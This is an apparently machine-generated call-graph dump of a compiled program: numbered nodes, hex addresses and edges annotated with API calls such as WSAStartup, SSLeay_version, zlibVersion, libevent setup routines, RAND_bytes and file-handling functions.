49679->49683 49682 c3f792 108 API calls 49680->49682 49684 ce54a9 49681->49684 49685 ce54fb 49682->49685 49686 ce5540 49683->49686 49688 d33842 105 API calls 49684->49688 49692 d33842 105 API calls 49685->49692 49687 c7b356 __stack_chk_fail 49686->49687 49689 ce5548 49687->49689 49769 ce54df 49688->49769 49690 ce554c 49689->49690 49691 ce5591 49689->49691 49693 c3f792 108 API calls 49690->49693 49770 bf5f88 __stack_chk_fail __stack_chk_fail 49691->49770 49692->49769 49695 ce5551 49693->49695 49701 d33842 105 API calls 49695->49701 49696 ce5afc 49697 ce5af7 __stack_chk_fail 49697->49696 49698 ce55ac 49771 d08ff5 131 API calls 49698->49771 49700 ce55e6 49702 ce562f 49700->49702 49703 ce55ea 49700->49703 49701->49769 49704 ce5650 49702->49704 49772 d4d28c 111 API calls 49702->49772 49705 c3f792 108 API calls 49703->49705 49707 c3f792 108 API calls 49704->49707 49708 ce55ef 49705->49708 49710 ce5655 49707->49710 49713 d33842 105 API calls 49708->49713 49709 ce564c 49709->49704 49711 ce5695 49709->49711 49715 d33842 105 API calls 49710->49715 49712 d36562 3 API calls 49711->49712 49714 ce56a1 49712->49714 49713->49769 49773 d4beda 115 API calls 49714->49773 49715->49769 49717 ce56c6 49718 ce571e 49717->49718 49720 c3f792 108 API calls 49717->49720 49774 d42b81 __stack_chk_fail __stack_chk_fail 49718->49774 49722 ce56cf 49720->49722 49721 ce572f 49723 ce5778 49721->49723 49724 ce5733 49721->49724 49722->49718 49725 ce56d9 49722->49725 49775 ce27fe 107 API calls 49723->49775 49726 c3f792 108 API calls 49724->49726 49727 c3f792 108 API calls 49725->49727 49729 ce5738 49726->49729 49730 ce56de 49727->49730 49736 d33842 105 API calls 49729->49736 49737 d33842 105 API calls 49730->49737 49731 ce5786 49776 d5479d __stack_chk_fail 49731->49776 49733 ce57ac 49734 ce57f5 49733->49734 49735 ce57b0 49733->49735 49740 ce5a1c 49734->49740 49746 ce583a 49734->49746 49738 c3f792 108 API calls 49735->49738 49736->49769 49737->49769 49739 ce57b5 49738->49739 49744 d33842 105 API calls 49739->49744 49741 ce5a62 49740->49741 49745 d36562 3 API calls 49740->49745 49741->49769 49807 c964cf 108 API calls 49741->49807 49742 ce58ae 49777 ce81ee 115 API calls 49742->49777 49744->49769 49749 ce5a3d 49745->49749 49746->49742 49806 d4e0b7 118 API calls 49746->49806 49748 ce58f2 49778 d4158b 109 API calls 49748->49778 49753 d39764 105 API calls 49749->49753 49751 ce5a91 49755 d33842 105 API calls 49751->49755 49757 ce5a5d abort 49753->49757 49754 ce5882 49758 d33842 105 API calls 49754->49758 49755->49769 49756 ce5916 49779 c9c19b 49756->49779 49757->49741 49758->49742 49769->49696 49769->49697 49770->49698 49771->49700 49772->49709 49773->49717 49774->49721 49775->49731 49776->49733 49777->49748 49778->49756 49780 c9c1c5 49779->49780 49781 c9c1f6 49779->49781 49806->49754 49807->49751 49814 be15ab 49815 be15b6 49814->49815 49816 be15dc 49815->49816 49817 be15d7 __stack_chk_fail 49815->49817 49817->49816 49818 be776b 49819 d33842 105 API calls 49818->49819 49820 be778f 49819->49820 49821 be77a9 49820->49821 49822 be77a4 __stack_chk_fail 49820->49822 49822->49821 49823 d4888c 49824 d488c1 49823->49824 49825 d488f5 49824->49825 49826 d488d3 strlen 49824->49826 49828 d48961 49825->49828 49829 d4895c __stack_chk_fail 49825->49829 49826->49825 49827 d488fc strcat LoadLibraryA 49826->49827 49827->49825 49829->49828 49830 be73e6 strcmp 49831 be740c strcmp 49830->49831 49832 be7428 49830->49832 49831->49832 49833 be7432 strcmp 49831->49833 49832->49833 49834 be74fe 49833->49834 49835 be7452 strcmp 49833->49835 49871 d040b6 49834->49871 49835->49834 49836 be7472 strcmp 49835->49836 49836->49834 49837 be748e strcmp 49836->49837 49837->49834 49839 be74aa strcmp 49837->49839 49839->49834 49841 be74c6 strcmp 49839->49841 49841->49834 49843 be74e2 strcmp 49841->49843 49842 d040b6 4 API calls 49845 be7549 49842->49845 49843->49834 49844 be7575 49847 c3faab 113 API calls 49844->49847 49845->49844 49915 d34127 121 API calls 49845->49915 49848 be7588 49847->49848 49879 d63078 zlibVersion 49848->49879 49857 d33842 105 API calls 49858 be75e6 49857->49858 49859 d33842 105 API calls 49858->49859 49860 be760a strstr 49859->49860 49861 be763e 49860->49861 49862 be7624 strstr 49860->49862 49864 d33842 105 API calls 49861->49864 49862->49861 49863 be7662 49862->49863 49909 d39204 WSAStartup 49863->49909 49864->49863 49867 d33842 105 API calls 49868 be768f 49867->49868 49869 be77a9 49868->49869 49870 be77a4 __stack_chk_fail 49868->49870 49870->49869 49872 d040d1 49871->49872 49873 d0415b 49872->49873 49876 d040f1 free 49872->49876 49877 d04119 free 49872->49877 49878 d0413f free 49872->49878 49874 d04167 __stack_chk_fail 49873->49874 49875 be753b 49873->49875 49874->49875 49875->49842 49876->49872 49877->49872 49878->49872 49880 be7593 49879->49880 49881 d63098 __stack_chk_fail 49879->49881 49882 d55d43 49880->49882 49881->49880 49883 d55d5c SSLeay_version 49882->49883 49884 d55d76 49882->49884 49916 d55cb7 114 API calls 49883->49916 49886 be759a 49884->49886 49887 d55d8b __stack_chk_fail 49884->49887 49888 e0c348 event_get_version 49886->49888 49887->49886 49889 e0c368 __stack_chk_fail 49888->49889 49890 be75a1 49888->49890 49889->49890 49891 d388be 49890->49891 49892 d388de memset 49891->49892 49907 d38943 49891->49907 49893 d38920 49892->49893 49896 d38927 49893->49896 49898 d38957 49893->49898 49894 d38b19 __stack_chk_fail 49895 be75a8 49894->49895 49895->49857 49897 d35895 2 API calls 49896->49897 49897->49907 49899 d38a29 49898->49899 49900 d38a4c 49898->49900 49901 d35895 2 API calls 49899->49901 49902 d38a6d 49900->49902 49903 d38aa1 49900->49903 49905 d38a47 49901->49905 49904 d36005 2 API calls 49902->49904 49906 d36005 2 API calls 49903->49906 49904->49905 49905->49907 49917 d35911 strlen __stack_chk_fail 49905->49917 49906->49905 49907->49894 49907->49895 49910 d39241 49909->49910 49911 d3926f 49909->49911 49912 d33842 105 API calls 49910->49912 49913 d39286 __stack_chk_fail 49911->49913 49914 be7667 49911->49914 49912->49911 49913->49914 49914->49867 49915->49844 49916->49884 49917->49907 49918 be625a 49949 ccc627 49918->49949 49921 c3f792 108 API calls 49922 be6264 49921->49922 49972 c7b282 49922->49972 49924 be626c 49925 be630e 49924->49925 49927 e0c2b0 107 API calls 49924->49927 49929 be6280 49924->49929 49926 be63dc 49925->49926 49928 c3f792 108 API calls 49925->49928 49926->49929 50013 be65ef 49926->50013 49930 be62a6 49927->49930 49932 be6320 49928->49932 49934 be63ec __stack_chk_fail 49929->49934 49935 be63f1 49929->49935 49933 e0c3ea 112 API calls 49930->49933 49979 e0c2b0 49932->49979 49937 be62c7 49933->49937 49934->49935 49937->49925 49940 d36562 3 API calls 49937->49940 49942 be62e9 49940->49942 49943 d39764 105 API calls 49942->49943 49950 ccc642 49949->49950 49951 ccc64e 49949->49951 50032 d539d3 174 API calls 49950->50032 49953 ccc6b0 49951->49953 50033 d53a6e __stack_chk_fail 49951->50033 49957 c3f792 108 API calls 49953->49957 49968 ccc6f0 49953->49968 49955 c3f792 108 API calls 49958 ccc6fa 49955->49958 49956 ccc66f 49959 e0c2b0 107 API calls 49956->49959 49960 ccc6c4 49957->49960 50019 c519d3 49958->50019 49962 ccc676 event_new event_add 49959->49962 49963 c519d3 111 API calls 49960->49963 49962->49953 49965 ccc6cc 49963->49965 50034 d53870 116 API calls 49965->50034 49968->49955 49970 be625f 49970->49921 49971 ccc722 __stack_chk_fail 49971->49970 50080 c7b306 49972->50080 49975 c7b2a7 49977 c7b2c4 __stack_chk_fail 49975->49977 49978 c7b2c9 49975->49978 49977->49978 49978->49924 49980 e0c2d1 49979->49980 49981 e0c302 49979->49981 49982 d36562 3 API calls 49980->49982 49983 e0c312 __stack_chk_fail 49981->49983 49984 be6374 49981->49984 49985 e0c2dd 49982->49985 49983->49984 49988 e0c3ea 49984->49988 50014 be6606 50013->50014 50016 be6614 50014->50016 50089 be63f3 50014->50089 50017 be6627 50016->50017 50018 be6622 __stack_chk_fail 50016->50018 50017->49929 50018->50017 50020 c519f6 50019->50020 50021 c519fb 50019->50021 50035 d38b88 50020->50035 50023 c51a26 50021->50023 50024 c51a21 __stack_chk_fail 50021->50024 50025 d5c749 50023->50025 50024->50023 50052 d5ccf2 50025->50052 50030 ccc716 50030->49970 50030->49971 50031 d5c790 __stack_chk_fail 50031->50030 50032->49951 50033->49956 50034->49968 50036 d38ba6 50035->50036 50045 d38c32 50035->50045 50048 d38b20 memset GetSystemInfo 50036->50048 50037 d38c51 50037->50021 50038 d38c4c __stack_chk_fail 50038->50037 50041 d36562 3 API calls 50044 d38bce 50041->50044 50042 d38bf3 50043 d33842 105 API calls 50042->50043 50042->50045 50043->50045 50046 d39764 105 API calls 50044->50046 50045->50037 50045->50038 50047 d38bee abort 50046->50047 50047->50042 50049 d38b62 50048->50049 50050 d38b81 __stack_chk_fail 50049->50050 50051 d38b86 50049->50051 50050->50051 50051->50041 50051->50042 50060 d5cd33 50052->50060 50055 d5c772 50057 d4b1d5 50055->50057 50056 d5cd2c __stack_chk_fail 50056->50055 50058 d4b211 50057->50058 50059 d4b20c __stack_chk_fail 50057->50059 50058->50030 50058->50031 50059->50058 50061 d5ce2d 50060->50061 50062 d5cd59 50060->50062 50064 d5cd20 50061->50064 50065 d5ce39 __stack_chk_fail 50061->50065 50063 d5cd9b 50062->50063 50067 d36562 3 API calls 50062->50067 50066 d5cdda RAND_bytes 50063->50066 50069 d36562 3 API calls 50063->50069 50064->50055 50064->50056 50065->50064 50066->50061 50070 d5cdfc 50066->50070 50068 d5cd76 50067->50068 50071 d39764 105 API calls 50068->50071 50072 d5cdb5 50069->50072 50073 d36562 3 API calls 50070->50073 50074 d5cd96 abort 50071->50074 50075 d39764 105 API calls 50072->50075 50076 d5ce08 50073->50076 50074->50063 50077 d5cdd5 abort 50075->50077 50078 d39764 105 API calls 50076->50078 50077->50066 50079 d5ce28 abort 50078->50079 50079->50061 50086 c7b10e 50080->50086 50083 c7b2a3 50083->49975 50085 c7b1c8 __stack_chk_fail __stack_chk_fail 50083->50085 50084 c7b34f __stack_chk_fail 50084->50083 50085->49975 50087 c7b145 50086->50087 50088 c7b140 __stack_chk_fail 50086->50088 50087->50083 50087->50084 50088->50087 50118 cee121 50089->50118 50119 cee13a 50118->50119 50146 be2fdb 50147 d36562 3 API calls 50146->50147 50148 be2fe0 50147->50148 50149 d39764 105 API calls 50148->50149 50150 be3000 abort 50149->50150 50151 be3025 50150->50151 50152 be3020 50150->50152 50154 d33842 105 API calls 50151->50154 50188 c26e23 __stack_chk_fail 50152->50188 50155 be3053 50154->50155 50157 be305e 50155->50157 50189 c26e53 107 API calls 50155->50189 50158 be319d time 50157->50158 50190 c08cde 106 API calls 50157->50190 50180 c147d0 133 API calls 50158->50180 50161 be31b8 50163 be31c9 50161->50163 50181 be2d88 50161->50181 50162 be30a4 50164 d33842 105 API calls 50162->50164 50166 be31da 50163->50166 50167 be31d5 __stack_chk_fail 50163->50167 50168 be30d0 50164->50168 50167->50166 50169 be3117 50168->50169 50170 d36562 3 API calls 50168->50170 50172 be313e 50169->50172 50192 be16c0 107 API calls 50169->50192 50171 be30ef 50170->50171 50191 d3985e 105 API calls 50171->50191 50193 c0a631 161 API calls 50172->50193 50176 be317a 50177 d36562 3 API calls 50176->50177 50178 be3186 50177->50178 50194 c0a80c 154 API calls 50178->50194 50180->50161 50185 be2da1 50181->50185 50182 be2def 50183 be2dfb __stack_chk_fail 50182->50183 50184 be2e00 50182->50184 50183->50184 50184->50163 50185->50182 50195 be31e0 50185->50195 50268 be1edb 268 API calls 50185->50268 50188->50151 50189->50157 50190->50162 50191->50169 50192->50172 50193->50176 50194->50158 50196 be3223 time 50195->50196 50264 be3219 50195->50264 50269 c147d0 133 API calls 50196->50269 50198 be3244 50201 be3284 50198->50201 50202 d33842 105 API calls 50198->50202 50199 be36de 50199->50185 50200 be36d9 __stack_chk_fail 50200->50199 50203 be32a0 50201->50203 50284 c1581a 147 API calls 50201->50284 50202->50201 50205 be36be 50203->50205 50270 c11659 __stack_chk_fail 50203->50270 50304 be1edb 268 API calls 50205->50304 50208 be32c4 50208->50205 50271 c0f384 131 API calls 50208->50271 50210 be32de 50211 be338e 50210->50211 50285 c08cde 106 API calls 50210->50285 50212 be339c 50211->50212 50213 be344a 50211->50213 50272 c0557c 50212->50272 50216 be3458 50213->50216 50217 be34a5 50213->50217 50215 be332e 50286 c3ff60 111 API calls 50215->50286 50232 be3445 50216->50232 50290 be15e0 107 API calls 50216->50290 50292 c04bbb 115 API calls 50217->50292 50222 be3345 50225 d33842 105 API calls 50222->50225 50224 be33d8 50224->50232 50288 c11659 __stack_chk_fail 50224->50288 50225->50211 50226 be347d 50291 c04e0f 118 API calls 50226->50291 50228 be360b 50300 c11659 __stack_chk_fail 50228->50300 50232->50228 50293 c11659 __stack_chk_fail 50232->50293 50233 be3616 50233->50205 50301 c08cde 106 API calls 50233->50301 50235 be33f9 50289 be183e __stack_chk_fail __stack_chk_fail 50235->50289 50236 be34f8 50236->50228 50239 be3500 50236->50239 50243 be35ad 50239->50243 50244 be350a 50239->50244 50240 be340e 50241 d33842 105 API calls 50240->50241 50241->50232 50242 be3650 50302 c3ff60 111 API calls 50242->50302 50243->50264 50296 be274c 108 API calls 50243->50296 50246 be3549 50244->50246 50249 d36562 3 API calls 50244->50249 50250 be3569 50246->50250 50294 c26e23 __stack_chk_fail 50246->50294 50248 be3667 50303 be183e __stack_chk_fail __stack_chk_fail 50248->50303 50253 be3524 50249->50253 50255 d33842 105 API calls 50250->50255 50251 be35be 50256 be35da 50251->50256 50297 be27f9 122 API calls 50251->50297 50258 d39764 105 API calls 50253->50258 50259 be3597 50255->50259 50298 be22cb 108 API calls 50256->50298 50257 be3675 50261 d33842 105 API calls 50257->50261 50262 be3544 abort 50258->50262 50259->50264 50295 c26e53 107 API calls 50259->50295 50261->50205 50262->50246 50264->50199 50264->50200 50266 be35e5 50266->50264 50299 be251f 122 API calls 50266->50299 50268->50185 50269->50198 50270->50208 50271->50210 50273 c05589 50272->50273 50274 d36562 3 API calls 50273->50274 50281 c05633 50273->50281 50276 c0560e 50274->50276 50275 c056a8 50278 c056d1 __stack_chk_fail 50275->50278 50279 be33c1 50275->50279 50280 d39764 105 API calls 50276->50280 50278->50279 50279->50224 50287 be2b21 114 API calls 50279->50287 50282 c0562e abort 50280->50282 50281->50275 50305 c052ac 112 API calls 50281->50305 50306 c05005 50281->50306 50282->50281 50284->50203 50285->50215 50286->50222 50287->50224 50288->50235 50289->50240 50290->50226 50291->50232 50292->50232 50293->50236 50294->50250 50295->50264 50296->50251 50297->50256 50298->50266 50299->50264 50300->50233 50301->50242 50302->50248 50303->50257 50304->50264 50305->50281 50307 c05031 50306->50307 50308 c0503c 50306->50308 50310 c05151 50307->50310 50311 c0514c __stack_chk_fail 50307->50311 50309 c050f5 50308->50309 50316 c0331a __stack_chk_fail 50308->50316 50320 c04071 50308->50320 50346 c032e4 __stack_chk_fail 50308->50346 50309->50307 50312 d36562 3 API calls 50309->50312 50310->50281 50311->50310 50314 c05116 50312->50314 50315 d39764 105 API calls 50314->50315 50317 c05136 abort 50315->50317 50316->50308 50317->50307 50319 c0509f memcpy 50319->50308 50321 c040a3 50320->50321 50324 c040b6 50320->50324 50347 c034db 50321->50347 50323 c040da 50357 c0378d 107 API calls 50323->50357 50324->50323 50326 c040c9 50324->50326 50325 c040b1 50358 d5084a 130 API calls 50325->50358 50328 c034db 108 API calls 50326->50328 50328->50325 50329 c040e5 50331 c034db 108 API calls 50329->50331 50331->50325 50332 c040f5 50346->50319 50348 d4107e 105 API calls 50347->50348 50349 c034fc 50348->50349 50350 c035a6 memset 50349->50350 50351 d36562 3 API calls 50349->50351 50352 c035d4 50350->50352 50352->50325 50357->50329 50358->50332 50359 c40663 50360 d39b0b 105 API calls 50359->50360 50361 c40689 50360->50361 50362 d39b0b 105 API calls 50361->50362 50363 c40691 50362->50363 50364 c3f729 107 API calls 50363->50364 50365 c40699 50364->50365 50487 d35561 50365->50487 50368 c406e9 50369 c40703 50368->50369 50370 c4071b 50368->50370 50371 d413ee 105 API calls 50369->50371 50373 c408dd 50370->50373 50491 d50a40 50370->50491 50441 c4070f 50371->50441 50375 c40909 50373->50375 50555 d390a8 106 API calls 50373->50555 50384 c4095d 50375->50384 50385 d36562 3 API calls 50375->50385 50392 c409c9 50375->50392 50376 c40dc4 50382 c40dd4 50376->50382 50568 d34a27 118 API calls 50376->50568 50379 d36562 3 API calls 50386 c40d9f 50379->50386 50380 c40735 50550 d37969 107 API calls 50380->50550 50381 c40778 50390 d36562 3 API calls 50381->50390 50401 c4076f 50381->50401 50452 c40dfe 50382->50452 50570 d37969 107 API calls 50382->50570 50383 c408ec 50383->50375 50389 c408f1 50383->50389 50556 d37ae2 106 API calls 50384->50556 50391 c40938 50385->50391 50393 d39764 105 API calls 50386->50393 50396 d413ee 105 API calls 50389->50396 50398 c40792 50390->50398 50403 d39764 105 API calls 50391->50403 50516 d459c5 50392->50516 50404 c40dbf abort 50393->50404 50394 c40753 50394->50401 50406 c40757 50394->50406 50395 c40dcf 50569 c17582 __stack_chk_fail 50395->50569 50402 c408fd 50396->50402 50408 d39764 105 API calls 50398->50408 50400 c407f7 50424 c40824 50400->50424 50425 c40849 time 50400->50425 50401->50400 50494 c51a28 50401->50494 50418 d39b70 3 API calls 50402->50418 50411 c40958 abort 50403->50411 50404->50376 50413 d413ee 105 API calls 50406->50413 50414 c407b2 abort 50408->50414 50411->50384 50412 c409ad 50412->50392 50419 c409b1 50412->50419 50413->50441 50414->50401 50415 c40a34 50423 c40a7c 50415->50423 50558 d34b17 108 API calls 50415->50558 50416 c40a12 50557 d36107 111 API calls 50416->50557 50426 c40ecd 50418->50426 50427 d413ee 105 API calls 50419->50427 50420 d33842 105 API calls 50420->50452 50437 c40ae4 50423->50437 50444 d41144 105 API calls 50423->50444 50435 d413ee 105 API calls 50424->50435 50424->50441 50431 c4085d 50425->50431 50430 d39b70 3 API calls 50426->50430 50427->50402 50436 c40ed8 50430->50436 50513 c9a07d 50431->50513 50434 c40a3f 50559 c4b2e4 174 API calls 50434->50559 50435->50441 50442 c40ee6 __stack_chk_fail 50436->50442 50443 c40eeb 50436->50443 50438 c40aef 50437->50438 50564 d3470b 109 API calls 50437->50564 50451 d35561 __stack_chk_fail 50438->50451 50441->50376 50441->50379 50442->50443 50449 c40a9f 50444->50449 50447 d36562 3 API calls 50447->50452 50448 c40a60 50448->50423 50453 c40a64 50448->50453 50560 d3490c 115 API calls 50449->50560 50450 c40862 50455 c408a2 50450->50455 50465 c40889 50450->50465 50456 c40b47 50451->50456 50452->50402 50452->50420 50452->50447 50571 c08cde 106 API calls 50452->50571 50572 c0a631 161 API calls 50452->50572 50573 c0a80c 154 API calls 50452->50573 50458 d413ee 105 API calls 50453->50458 50455->50373 50460 d33842 105 API calls 50455->50460 50463 d35561 __stack_chk_fail 50456->50463 50470 c40b58 50456->50470 50458->50441 50459 c40aa7 50561 d34268 113 API calls 50459->50561 50462 c408d3 50460->50462 50553 c0eef2 302 API calls 50462->50553 50463->50470 50464 c40aba 50562 c17582 __stack_chk_fail 50464->50562 50468 d413ee 105 API calls 50465->50468 50468->50441 50469 c408d8 50554 be1929 __stack_chk_fail 50469->50554 50476 d33842 105 API calls 50470->50476 50485 c40bc0 50470->50485 50471 c40abf 50476->50485 50477 c40c94 50477->50402 50479 d33842 105 API calls 50477->50479 50480 d33842 105 API calls 50480->50485 50484 d36562 3 API calls 50484->50485 50485->50477 50485->50480 50485->50484 50565 c08cde 106 API calls 50485->50565 50566 c0a631 161 API calls 50485->50566 50567 c0a80c 154 API calls 50485->50567 50490 d35582 50487->50490 50488 c406ce 50488->50368 50549 d48790 __stack_chk_fail 50488->50549 50489 d355cc __stack_chk_fail 50489->50488 50490->50488 50490->50489 50492 c40731 50491->50492 50493 d50a60 __stack_chk_fail 50491->50493 50492->50380 50492->50381 50493->50492 50495 c51a7d 50494->50495 50496 c51a4c 50494->50496 50574 e0c083 event_set_log_callback 50495->50574 50498 d36562 3 API calls 50496->50498 50500 c51a58 50498->50500 50502 d39764 105 API calls 50500->50502 50503 c51a78 abort 50502->50503 50503->50495 50505 c519d3 111 API calls 50506 c51ab4 50505->50506 50580 e0c11f 50506->50580 50509 e0c0b2 __stack_chk_fail 50510 c51ada 50509->50510 50511 c51ae6 __stack_chk_fail 50510->50511 50512 c407e3 50510->50512 50511->50512 50514 c9a0ab 50513->50514 50515 c9a0a6 __stack_chk_fail 50513->50515 50514->50450 50515->50514 50517 d459f5 50516->50517 50518 d45a26 50516->50518 50519 d36562 3 API calls 50517->50519 50520 d413ee 105 API calls 50518->50520 50521 d45a01 50519->50521 50522 d45a31 50520->50522 50523 d39764 105 API calls 50521->50523 50606 d457bb strlen 50522->50606 50525 d45a21 abort 50523->50525 50525->50518 50527 d45a7c 50529 d45aa1 free 50527->50529 50530 d45ab3 50527->50530 50528 d33842 105 API calls 50528->50527 50529->50530 50531 d45bf3 50530->50531 50532 d45abd 50530->50532 50533 d45b0b 50531->50533 50534 d33842 105 API calls 50531->50534 50535 d45b15 50532->50535 50536 d45acb strerror 50532->50536 50537 d45c45 __stack_chk_fail 50533->50537 50538 c40a0e 50533->50538 50534->50533 50539 d45bb0 50535->50539 50540 d45b23 50535->50540 50544 d33842 105 API calls 50536->50544 50537->50538 50538->50415 50538->50416 50539->50533 50543 d33842 105 API calls 50539->50543 50542 d33842 105 API calls 50540->50542 50545 d45b4e _mkdir 50542->50545 50543->50533 50544->50533 50545->50533 50546 d45b66 strerror 50545->50546 50548 d33842 105 API calls 50546->50548 50548->50533 50549->50368 50550->50394 50553->50469 50554->50373 50555->50383 50556->50412 50557->50402 50558->50434 50559->50448 50560->50459 50561->50464 50562->50471 50564->50438 50565->50485 50566->50485 50567->50485 50568->50395 50569->50382 50570->50452 50571->50452 50572->50452 50573->50452 50575 c51a82 50574->50575 50576 e0c0ab __stack_chk_fail 50574->50576 50577 e0c0b2 50575->50577 50576->50575 50578 c51a8e memset 50577->50578 50579 e0c0dc __stack_chk_fail 50577->50579 50578->50505 50579->50578 50581 e0c147 50580->50581 50582 e0c178 event_config_new 50580->50582 50585 d36562 3 API calls 50581->50585 50583 e0c199 50582->50583 50584 e0c1ca event_config_set_flag 50582->50584 50586 d36562 3 API calls 50583->50586 50587 e0c1e6 event_config_set_num_cpus_hint 50584->50587 50588 e0c1fa event_config_set_flag event_base_new_with_config event_config_free 50584->50588 50589 e0c153 50585->50589 50590 e0c1a5 50586->50590 50587->50588 50591 e0c261 50588->50591 50592 e0c231 50588->50592 50593 d39764 105 API calls 50589->50593 50594 d39764 105 API calls 50590->50594 50605 e0c319 event_base_get_method __stack_chk_fail 50591->50605 50595 d33842 105 API calls 50592->50595 50597 e0c173 abort 50593->50597 50598 e0c1c5 abort 50594->50598 50599 e0c255 exit 50595->50599 50597->50582 50598->50584 50599->50591 50600 e0c266 event_get_version 50601 d33842 105 API calls 50600->50601 50602 e0c299 50601->50602 50603 e0c2a5 __stack_chk_fail 50602->50603 50604 c51ace 50602->50604 50603->50604 50604->50509 50605->50600 50607 d457e5 50606->50607 50608 d45846 50607->50608 50609 d45841 __stack_chk_fail 50607->50609 50608->50527 50608->50528 50609->50608 50610 c49faa 50611 c49fe8 50610->50611 50615 c4a04a 50611->50615 50638 c49d8c 50611->50638 50613 c4a0a6 50621 c4a0b7 50613->50621 50659 d4587b 50613->50659 50615->50613 50618 d33842 105 API calls 50615->50618 50616 c4a034 free 50616->50615 50618->50613 50619 c4a0fb 50620 c4a10a 50619->50620 50622 c4a175 50619->50622 50623 c4a13b 50620->50623 50625 d33842 105 API calls 50620->50625 50621->50619 50671 d46b1b 50621->50671 50628 d33842 105 API calls 50622->50628 50626 c4a149 free 50623->50626 50627 c4a15b 50623->50627 50625->50623 50626->50627 50631 d413ee 105 API calls 50627->50631 50632 c4a1a0 50628->50632 50630 c4a1b1 50634 d33842 105 API calls 50630->50634 50633 c4a170 50631->50633 50632->50633 50635 c4a1e1 free 50632->50635 50636 c4a211 50633->50636 50637 c4a20c __stack_chk_fail 50633->50637 50634->50633 50635->50633 50637->50636 50650 c49dc1 50638->50650 50639 c49ef6 50641 c49f38 50639->50641 50719 c49aab 50639->50719 50640 c49dff strcmp 50640->50650 50643 c49f66 __stack_chk_fail 50641->50643 50644 c49f6b 50641->50644 50643->50644 50644->50615 50644->50616 50645 c49ec2 strcmp 50645->50650 50646 d33842 105 API calls 50646->50650 50649 d4587b 109 API calls 50652 c49f18 50649->50652 50650->50639 50650->50640 50650->50645 50650->50646 50651 c49e5a free 50650->50651 50653 d37d3d 107 API calls 50650->50653 50656 c49e99 free 50650->50656 50731 d478f5 107 API calls 50650->50731 50651->50650 50654 c49f3d 50652->50654 50655 c49f2d 50652->50655 50653->50650 50654->50641 50658 d413ee 105 API calls 50654->50658 50657 d413ee 105 API calls 50655->50657 50656->50650 50657->50641 50658->50641 50660 d45897 50659->50660 50670 d458a1 50659->50670 50661 d413ee 105 API calls 50660->50661 50660->50670 50664 d458b6 50661->50664 50662 d459c3 50662->50621 50663 d459be __stack_chk_fail 50663->50662 50665 d457bb 2 API calls 50664->50665 50666 d458c4 50665->50666 50667 d45901 50666->50667 50668 d33842 105 API calls 50666->50668 50669 d45926 free 50667->50669 50667->50670 50668->50667 50669->50670 50670->50662 50670->50663 50672 d46b59 50671->50672 50673 d46b8a 50671->50673 50674 d36562 3 API calls 50672->50674 50744 d359c4 50673->50744 50675 d46b65 50674->50675 50676 d39764 105 API calls 50675->50676 50678 d46b85 abort 50676->50678 50678->50673 50680 d46c49 50681 d46c61 _close 50680->50681 50682 d46cbb 50680->50682 50689 d33842 105 API calls 50681->50689 50683 d46cfa 50682->50683 50684 d46cd8 _close 50682->50684 50685 d4107e 105 API calls 50683->50685 50692 d46c31 50684->50692 50688 d46d0b 50685->50688 50687 d46bc0 strerror 50693 d33842 105 API calls 50687->50693 50750 d456c9 _read __stack_chk_fail 50688->50750 50689->50692 50695 c4a0ee 50692->50695 50696 d46f50 __stack_chk_fail 50692->50696 50693->50692 50694 d46d32 50697 d46dce 50694->50697 50698 d46d3f strerror 50694->50698 50695->50619 50695->50630 50696->50695 50699 d46e54 50697->50699 50700 d46ddf strchr 50697->50700 50709 d33842 105 API calls 50698->50709 50701 d46e5a 50699->50701 50703 d46f17 _close 50699->50703 50710 d46e8d 50699->50710 50700->50699 50702 d46df6 50700->50702 50701->50703 50704 d46e33 50702->50704 50706 d33842 105 API calls 50702->50706 50703->50692 50707 d46f28 memcpy 50703->50707 50751 d42124 strchr __stack_chk_fail 50704->50751 50706->50704 50707->50692 50712 d46d8b 50709->50712 50713 d33842 105 API calls 50710->50713 50711 d46e46 strlen 50711->50699 50714 d46d99 free 50712->50714 50715 d46dab _close 50712->50715 50716 d46ed7 50713->50716 50714->50715 50715->50692 50717 d46ee5 free 50716->50717 50718 d46ef7 _close 50716->50718 50717->50718 50718->50692 50720 c49ac7 50719->50720 50721 c49af3 50719->50721 50732 c4990b 50720->50732 50723 c4990b 110 API calls 50721->50723 50725 c49af8 50723->50725 50727 d36005 2 API calls 50725->50727 50726 d36005 2 API calls 50728 c49aec 50726->50728 50727->50728 50729 c49b2d 50728->50729 50730 c49b28 __stack_chk_fail 50728->50730 50729->50649 50730->50729 50731->50650 50733 c49946 50732->50733 50734 c4993c 50732->50734 50737 c499c1 SHGetPathFromIDListA 50733->50737 50738 c4996d _getcwd 50733->50738 50735 c49aa6 50734->50735 50736 c49aa1 __stack_chk_fail 50734->50736 50735->50726 50736->50735 50740 d35895 2 API calls 50737->50740 50739 d33842 105 API calls 50738->50739 50739->50734 50741 c49a02 50740->50741 50741->50734 50743 d35911 strlen __stack_chk_fail 50741->50743 50743->50734 50745 d35a30 _open 50744->50745 50746 d359fe 50744->50746 50747 d35a5a __stack_chk_fail 50745->50747 50748 d35a5f 50745->50748 50749 d33842 105 API calls 50746->50749 50747->50748 50748->50680 50748->50687 50749->50745 50750->50694 50751->50711 50752 c43734 50757 d06a4b 50752->50757 50755 c4376e 50756 c43769 __stack_chk_fail 50756->50755 50758 d06a75 50757->50758 50759 d06ab4 50758->50759 50760 d36562 3 API calls 50758->50760 50761 d06b09 50759->50761 50763 d36562 3 API calls 50759->50763 50762 d06a8f 50760->50762 50766 d06b75 50761->50766 50773 d062a9 50761->50773 50764 d39764 105 API calls 50762->50764 50765 d06ae4 50763->50765 50767 d06aaf abort 50764->50767 50768 d39764 105 API calls 50765->50768 50769 d06b81 __stack_chk_fail 50766->50769 50770 c4375d 50766->50770 50767->50759 50771 d06b04 abort 50768->50771 50769->50770 50770->50755 50770->50756 50771->50761 50774 d062e6 50773->50774 50775 d06325 50774->50775 50776 d36562 3 API calls 50774->50776 50778 d0637a 50775->50778 50781 d36562 3 API calls 50775->50781 50777 d06300 50776->50777 50780 d39764 105 API calls 50777->50780 50803 d0607e 50778->50803 50782 d06320 abort 50780->50782 50783 d06355 50781->50783 50782->50775 50784 d39764 105 API calls 50783->50784 50785 d06375 abort 50784->50785 50785->50778 50786 d0645f 50789 d06472 50786->50789 50790 d0646d __stack_chk_fail 50786->50790 50788 d41144 105 API calls 50791 d063b7 50788->50791 50789->50761 50790->50789 50792 d413ee 105 API calls 50791->50792 50793 d063c7 50792->50793 50794 d413ee 105 API calls 50793->50794 50795 d063dc 50794->50795 50807 d04493 50795->50807 50798 d06454 50800 d040b6 4 API calls 50798->50800 50799 d33842 105 API calls 50801 d06433 50799->50801 50800->50786 